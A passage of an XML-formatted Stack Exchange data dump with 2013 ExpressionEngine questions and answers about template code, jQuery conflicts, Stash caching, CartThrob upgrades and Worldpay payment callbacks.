someone tries to use the embed media tool on wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else run into issues like this? Are there any known solutions?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-11T18:29:00.480" Title="Control Panel with Masked CP CORS issues" Tags="|ee2|wygwam|multi-site-manager|subdomain|livelook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15562" PostTypeId="1" CreationDate="2013-11-07T23:41:15.037" Score="1" ViewCount="63" Body="&lt;p&gt;EE v2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Messages sent via the communicate panel work OK and messages are delivered successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if an address is entered in the cc or bcc field then we get PHP error messages and the mail isn't delivered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;For security reasons, extra headers for the mail() functionhave been disabled, please contact support for more information.&#xA;Filename: libraries/Email.php&#xA;Line Number: 1537&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Cannot modify header information - headers already sent by (output started at /path/etc/etc/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 412&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any ideas what to try?&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-11-09T06:27:22.623" Title="Messages sent via the communicate panel error and are undelivered if a cc or bcc is included" Tags="|email|messages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15563" PostTypeId="1" AcceptedAnswerId="15600" CreationDate="2013-11-08T00:12:10.053" Score="1" ViewCount="358" Body="&lt;p&gt;I have a front end member profile editor that uses Zoo Visitor, Channel Images, and Matrix. I have updated them all to the latest version and they work…sort of. The jQuery on those pages no longer works. jQuery for opening and closing some divs as well as the buttons for the add ons (add a new row, CI open the file viewer for files on the server, etc). I can upload a file using CI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this before with multiple jQuery loads on the same page, but this time around I can't seem to find what changed. I tried to turn off jQuery in Channel:Form but that didn't work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating the content does work, however you can't see images already uploaded via CI stored images feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any changes to 2.7.2 and channel form that impact how to implement jQuery on the front end? Everything works from the CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;edit-profile&quot;}&#xA;    {exp:zoo_visitor:update_form return=&quot;{segment_1}/account/edit-profile&quot;}&#xA;    &amp;lt;h3 class=&quot;arrow-right&quot;&amp;gt;About You - The Basics&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;about-you&quot;&amp;gt; &#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;member_first-name&quot;&amp;gt;Your {label:member_first-name}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;member_first-name&quot; id=&quot;member_first-name&quot; value=&quot;{member_first-name}&quot;/&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member_last-name&quot;&amp;gt;Your {label:member_last-name}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;member_last-name&quot; id=&quot;member_last-name&quot; value=&quot;{member_last-name}&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;span2 offset1&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member_avatar&quot;&amp;gt;{label:member_avatar}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;p&amp;gt;no larger than 200px by 200px and 50kb&amp;lt;/p&amp;gt;&#xA;                    {field:member_avatar}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;span5 offset1&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;member_bio&quot;&amp;gt;Your {label:member_bio}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;textarea class=&quot;span5&quot; rows=&quot;8&quot; name=&quot;member_bio&quot; id=&quot;member_bio&quot;&amp;gt;{member_bio}&amp;lt;/textarea&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if {exp:stash:get name='primary'} == member_id}&#xA;    &amp;lt;h3 class=&quot;arrow-right&quot;&amp;gt;Main/Family Photo&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-family-photo&quot;&amp;gt;{label:member-cf-family-photo}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{instructions:member-cf-family-photo}&amp;lt;/p&amp;gt;&#xA;                    {field:member-cf-family-photo}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h3 class=&quot;arrow-right&quot;&amp;gt;Contact and Ministry Details&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;Social Media&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-facebook&quot;&amp;gt;{label:member-cf-facebook}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-facebook&quot; id=&quot;member-cf-facebook&quot; value=&quot;{member-cf-facebook}&quot;/&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-twitter&quot;&amp;gt;{label:member-cf-twitter}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-twitter&quot; id=&quot;member-cf-twitter&quot; value=&quot;{member-cf-twitter}&quot;/&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-email-form&quot;&amp;gt;{label:member-cf-email-form}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-email-form&quot; id=&quot;member-cf-email-form&quot; value=&quot;{member-cf-email-form}&quot;/&amp;gt;&#xA;&#xA;                    &amp;lt;label for=&quot;label:member-cf-vimeo&quot;&amp;gt;{label:member-cf-vimeo}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-vimeo&quot; id=&quot;member-cf-vimeo&quot; value=&quot;{member-cf-vimeo}&quot;/&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-youtube&quot;&amp;gt;{label:member-cf-youtube}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-youtube&quot; id=&quot;member-cf-youtube&quot; value=&quot;{member-cf-youtube}&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;Office/Contact Information&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-phone-office&quot;&amp;gt;{label:member-cf-phone-office}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-phone-office&quot; id=&quot;member-cf-phone-office&quot; value=&quot;{member-cf-phone-office}&quot;/&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-phone-mobile&quot;&amp;gt;{label:member-cf-phone-mobile}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-phone-mobile&quot; id=&quot;member-cf-phone-mobile&quot; value=&quot;{member-cf-phone-mobile}&quot;/&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-phone-home&quot;&amp;gt;{label:member-cf-phone-home}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member-cf-phone-home&quot; id=&quot;member-cf-phone-home&quot; value=&quot;{member-cf-phone-home}&quot;/&amp;gt;&#xA;                    {!--&amp;lt;label for=&quot;label:member_email&quot;&amp;gt;{label:member_email}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member_email&quot; id=&quot;member_email&quot; value=&quot;{email}&quot;/&amp;gt;--}&#xA;                    &amp;lt;label for=&quot;label:member_location&quot;&amp;gt;{label:member_location}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input class=&quot;span4&quot; type=&quot;text&quot; name=&quot;member_location&quot; id=&quot;member_location&quot; value=&quot;{member_location}&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;Account/Privacy Settings&amp;lt;/h5&amp;gt;&#xA;                    {!--&amp;lt;p&amp;gt;&amp;lt;label for=&quot;label:member-cf-security&quot;&amp;gt;{label:member-cf-security}&amp;lt;/label&amp;gt;&#xA;                    {field:member-cf-security}&amp;lt;/p&amp;gt;--}&#xA;                    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;label:member-cf-sharing&quot;&amp;gt;{label:member-cf-sharing}&amp;lt;/label&amp;gt;&#xA;                    {instructions:member-cf-sharing}&amp;lt;br /&amp;gt;&#xA;                    {field:member-cf-sharing}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;label for=&quot;label:member-cf-percent&quot;&amp;gt;{label:member-cf-percent}&amp;lt;/label&amp;gt;&#xA;                    {field:member-cf-percent}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}   &#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;{username}&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Update&quot; class=&quot;btn btn-primary&quot;/&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:zoo_visitor:update_form}&#xA;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-11-08T23:10:46.727" LastActivityDate="2014-03-08T16:14:49.703" Title="jQuery not working after update to 2.7.2 and several add ons" Tags="|jquery|channel-images|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15564" PostTypeId="2" ParentId="15513" CreationDate="2013-11-08T01:03:34.023" Score="1" Body="&lt;p&gt;Instead of using the PriCat Tag Pair inside a EE2.6 Relationships Tag Pair, the following works perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:primary_category entry_id='{my_related_field:entry_id}'}{primary_category_parent_url_title}{/exp:primary_category}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2329" LastActivityDate="2013-11-08T01:03:34.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15565" PostTypeId="2" ParentId="15037" CreationDate="2013-11-08T02:30:18.853" Score="0" Body="&lt;p&gt;Just to give up an update here. It seems like it was a rare occurrence, but the team at Solspace did make some updates to the code on my installation which will be a part of the next patch.&lt;/p&gt;&#xA;" OwnerUserId="1669" LastActivityDate="2013-11-08T02:30:18.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15566" PostTypeId="2" ParentId="13322" CreationDate="2013-11-08T04:13:52.750" Score="0" Body="&lt;p&gt;This was resolved by Pixel&amp;amp;Tonic for me.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-11-08T04:13:52.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15568" PostTypeId="1" AcceptedAnswerId="15569" CreationDate="2013-11-08T07:39:17.643" Score="2" ViewCount="74" Body="&lt;p&gt;Is it possible to still show that an item is on sale while using the dynamic product variable for store_product_price?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I am trying to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{if on_sale}&lt;del&gt;{regular_price}&lt;/del&gt;&lt;strong&gt;{sale_price}&lt;/strong&gt;{if:else}{price}{/if}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use the above code, it ONLY shows the sale price, but I'd still like it to show the regular price crossed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-11-09T00:28:34.037" Title="Using the class=&quot;store_product_price&quot; with sale items?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15569" PostTypeId="2" ParentId="15568" CreationDate="2013-11-08T08:11:19.203" Score="2" Body="&lt;p&gt;You should be able to do something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if on_sale}&#xA;  Price: &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt; &#xA;  {price}.&#xA;{if:else}&#xA;   Price: {price}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use the dynamic price variables you would need to do something slightly different in this case then putting the css class on the &lt;code&gt;h2&lt;/code&gt; element. Something along the lines of this to only show the regular price if the item is on sale.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt; &#xA;  Price: {if on_sale}&amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;{/if} &#xA;  &amp;lt;span class=&quot;store_product_price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;.   &#xA;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-11-09T00:28:34.037" LastActivityDate="2013-11-09T00:28:34.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15570" PostTypeId="2" ParentId="15559" CreationDate="2013-11-08T10:12:08.673" Score="0" Body="&lt;p&gt;PayPal Standard was removed in Store 1.6.0, for precisely this reason. It is extremely unreliable. I'm not even sure how you are still using it with Store 1.6.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's definitely worth upgrading to the newer PayPal Express gateway which also ships with Store.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-08T10:12:08.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15571" PostTypeId="2" ParentId="14317" CreationDate="2013-11-08T12:12:00.233" Score="1" Body="&lt;p&gt;I ended up getting it to work with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;relation_lovforslag[data][]&quot; value=&quot;&amp;lt;?php echo $entry_id; ?&amp;gt;&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2052" LastActivityDate="2013-11-08T12:12:00.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15572" PostTypeId="1" AcceptedAnswerId="15574" CreationDate="2013-11-08T12:15:49.293" Score="1" ViewCount="65" Body="&lt;p&gt;I am pretty new to exsprexxion engine and want to ask a quistion i want to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;touchcarousel-container&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;touchcarousel-item&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;rblock&quot;&amp;gt; ITEM 1 &amp;lt;/div&amp;gt; &#xA;    &amp;lt;div class=&quot;balk_wit&quot;&amp;gt;&amp;lt;/div&amp;gt;  &#xA;    &amp;lt;div class=&quot;rblock&quot;&amp;gt; ITEM 2 &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/li&amp;gt;  &#xA;  &amp;lt;li class=&quot;touchcarousel-item&quot;&amp;gt;   &#xA;    &amp;lt;div class=&quot;rblock&quot;&amp;gt; ITEM 3 &amp;lt;/div&amp;gt;  &#xA;    &amp;lt;div class=&quot;balk_wit&quot;&amp;gt;&amp;lt;/div&amp;gt;  &#xA;    &amp;lt;div class=&quot;rblock&quot;&amp;gt; ITEM 4 &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ENZ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try it I only get all the entries in the upper part of the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; (so they all come in the place of &quot;ITEM 1&quot;). Is there a way to count and display only the od ones and for the bottom &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; the od ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice if you can help me out.&lt;br&gt;&#xA;Leon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok this is the code:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;div class=&quot;rblock&quot;&amp;gt;&#xA;                {exp:channel:entries channel=&quot;track_record&quot; dynamic=&quot;off&quot;}&#xA;                {if count==1}&#xA;                     &amp;lt;div class=&quot;balk&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {exp:ce_img:single img src=&quot;{track_record_picture}&quot; alt=&quot;{title}&quot; width=&quot;230&quot; height=&quot;132&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;                    &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;p&amp;gt;{track_record_description}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                &amp;lt;div class=&quot;balk_wit&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;rblock&quot;&amp;gt;&#xA;                {if count==2}&#xA;&#xA;                    &amp;lt;div class=&quot;balk&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {exp:ce_img:single img src=&quot;{track_record_picture}&quot; alt=&quot;{title}&quot; width=&quot;230&quot; height=&quot;132&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;                    &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;p&amp;gt;{track_record_description}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/exp:channel:entries}&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2106" LastEditorUserId="2106" LastEditDate="2013-11-08T12:59:02.337" LastActivityDate="2013-11-08T13:44:43.687" Title="2 entries in one channel" Tags="|channel-entries|count|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15573" PostTypeId="1" AcceptedAnswerId="16632" CreationDate="2013-11-08T12:36:41.710" Score="2" ViewCount="91" Body="&lt;p&gt;I am new to Stash's saving/caching system and from what I've seen so far it looks really useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my thinking: I have a special offers section on a site, in the immediate future it is likely to have hundreds of entries in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be the correct course of action?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set a stash list called &quot;special-offers&quot; and grab all of the data from a channel entry loop and save that with the scope of site&lt;/li&gt;&#xA;&lt;li&gt;Put that into a snippet, {sn_set_special-offers} and call this whenever I need a special offer&lt;/li&gt;&#xA;&lt;li&gt;Whenever I need to read from that list, for example an individual special offer page I would use &lt;code&gt;match=&quot;#{segment_2}#&quot; against=&quot;url_title&quot;}&lt;/code&gt; to emultate &lt;code&gt;dynamic=&quot;yes&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way of doing things? To grab all of the data from EE channels into a stash list, cache that away and then use get_list whenever data is needed?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-11-11T10:13:34.757" Title="Saving stashed lists - to what end?" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15574" PostTypeId="2" ParentId="15572" CreationDate="2013-11-08T13:32:17.743" Score="2" Body="&lt;p&gt;The most simples way for this is used &lt;strong&gt;switch&lt;/strong&gt; tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;touchcarousel-container&quot;&amp;gt;&#xA;                {exp:channel:entries channel=&quot;track_record&quot; dynamic=&quot;off&quot;}&#xA;                    {switch='&amp;lt;li class=&quot;touchcarousel-item&quot;&amp;gt;|'}&#xA;                    &amp;lt;div class=&quot;balk&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {exp:ce_img:single img src=&quot;{track_record_picture}&quot; alt=&quot;{title}&quot; width=&quot;230&quot; height=&quot;132&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;                    &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;p&amp;gt;{track_record_description}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {switch='&amp;lt;div class=&quot;balk_wit&quot;&amp;gt;&amp;lt;/div&amp;gt;|&amp;lt;/li&amp;gt;'}&#xA;                {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-08T13:44:43.687" LastActivityDate="2013-11-08T13:44:43.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15575" PostTypeId="1" CreationDate="2013-11-08T14:53:55.543" Score="0" ViewCount="43" Body="&lt;p&gt;Does anyone know how to update Cartthrob from version 2.3x to 2.4? It's not working for us. The system thinks our version is less than 2.02x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore older version database scripts seem to be run, removing necessary database columns such as member_id in cartthrob_sessions table and giving database errors. So this completely messed up our update on a live site, deleting required columns. &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-11-10T08:41:44.637" LastActivityDate="2013-11-10T08:41:44.637" Title="Carttrhob update not working, version_compare incorrectly returns true for older version" Tags="|cartthrob|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15576" PostTypeId="1" CreationDate="2013-11-08T14:57:34.903" Score="3" ViewCount="283" Body="&lt;p&gt;Using Cartthrob 2.4 and EE 2.7, paying via Worldpay, returns this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the action you have requested is invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is its the new security introduced for POST requests, that require a new XID set, so does anyone know how to deal with this for external websites like Worldpay submitting call backs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-11-19T10:41:38.177" LastActivityDate="2014-06-28T10:59:47.727" Title="Cartthrob payment gateway (Worldpay) callback gives &quot;the action you have requested invalid post back&quot;" Tags="|cartthrob|security|xid|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15577" PostTypeId="2" ParentId="14498" CreationDate="2013-11-08T15:28:51.533" Score="0" Body="&lt;p&gt;What Diemer said above will work, but for a better user experience you will probably want to use some jquery to validate the form. Personally I like &lt;a href=&quot;http://parsleyjs.org/&quot; rel=&quot;nofollow&quot;&gt;Parsley.js&lt;/a&gt; for this sort of thing and is very simple to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also want to add the required=&quot;checkbox_field_name&quot; parameter to your freeform tags just as a backup measure.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-08T15:28:51.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15578" PostTypeId="2" ParentId="15576" CreationDate="2013-11-08T15:31:45.523" Score="3" Body="&lt;p&gt;We have fixed this with a couple of changes, seems Cartthrob has a couple of issues...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Based on this post &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15151/xid-post-from-third-party&quot;&gt;XID POST from third party&lt;/a&gt; we added the  we added 'csrf_exempt' =&gt; 1 into the database for the payment_return_action in the Cartthrob exp_actions table. We do not know if this helped, but seems like we should do it. Carttrhob does not add this in when installed or updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Next issue the callback URL to enter into Worldpay was not working, http:// or , so we managed to find out this URl should be &lt;a href=&quot;http://ourdomain.co.uk/themes/third_party/cartthrob/lib/extload.php/worldpay_redirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ourdomain.co.uk/themes/third_party/cartthrob/lib/extload.php/worldpay_redirect&lt;/a&gt;, so we entered that into Worldpay and that works, almost....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The callback page showed an error along the lines of &quot;Cartthrob detected an incorrect system folder path, update the system folder path in Extload: extload.php&quot;. Or something along those lines. It seems Carttrhob assumes our system folder will be called system. For security we renamed it. Why on earth Carttrhob does not use the setting in EE index.php, and there is no instruction about this, so we updated our system folder path in third_party/cartthrob/lib/extload.php and now it all works OK. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess 3 issues needed to be fixed to get Carttrhob Worldpay to accept payments. &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-11-12T16:39:10.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15579" PostTypeId="1" AcceptedAnswerId="15612" CreationDate="2013-11-08T15:47:49.297" Score="2" ViewCount="150" Body="&lt;h2&gt;Current Setup&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have 5 entries in the &quot;internal_ads&quot; channel that rotate on the&#xA;homepage.&lt;/li&gt;&#xA;&lt;li&gt;I have set up a category of &quot;urgent&quot; that has 1 entry in it.&lt;/li&gt;&#xA;&lt;li&gt;I'm using stash to set a list of adverts, then running through the list in my template to get them to rotate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;What I want to happen&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When an entry is added to the &lt;code&gt;urgent&lt;/code&gt; category, I want that entry to be the &lt;em&gt;only&lt;/em&gt; ad to display.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I've tried&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I currently have the following in my initial template that sets the stash list and works correctly for getting the 5 ads.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:homepage}&#xA;&#xA;{!-- Set data for Internal Adverts --}&#xA;     {exp:stash:set_list name=&quot;internal_ads&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;          {exp:channel:entries channel=&quot;internal_adverts&quot; dynamic=&quot;no&quot; orderby=&quot;random&quot; limit=&quot;1&quot;}&#xA;                    {stash:url_title}{url_title}{/stash:url_title}&#xA;                    {stash:advert_title}{title}{/stash:advert_title}&#xA;                    {stash:short_description}{short_description}{/stash:short_description}&#xA;                    {stash:homepage_image}{homepage_image}{/stash:homepage_image}&#xA;         {/exp:channel:entries}&#xA;     {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried the following using conditionals to try checking if there's an entry in the &lt;code&gt;urgent&lt;/code&gt; category and if there &lt;em&gt;isn't&lt;/em&gt; then set the list as before. If there is, then only use that entry. It doesn't want to work and I can't really see why.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:homepage}&#xA;&#xA;{!-- Set data for Internal Adverts --}&#xA;    {exp:stash:set_list name=&quot;internal_ads&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;        {exp:channel:entries channel=&quot;internal_adverts&quot; 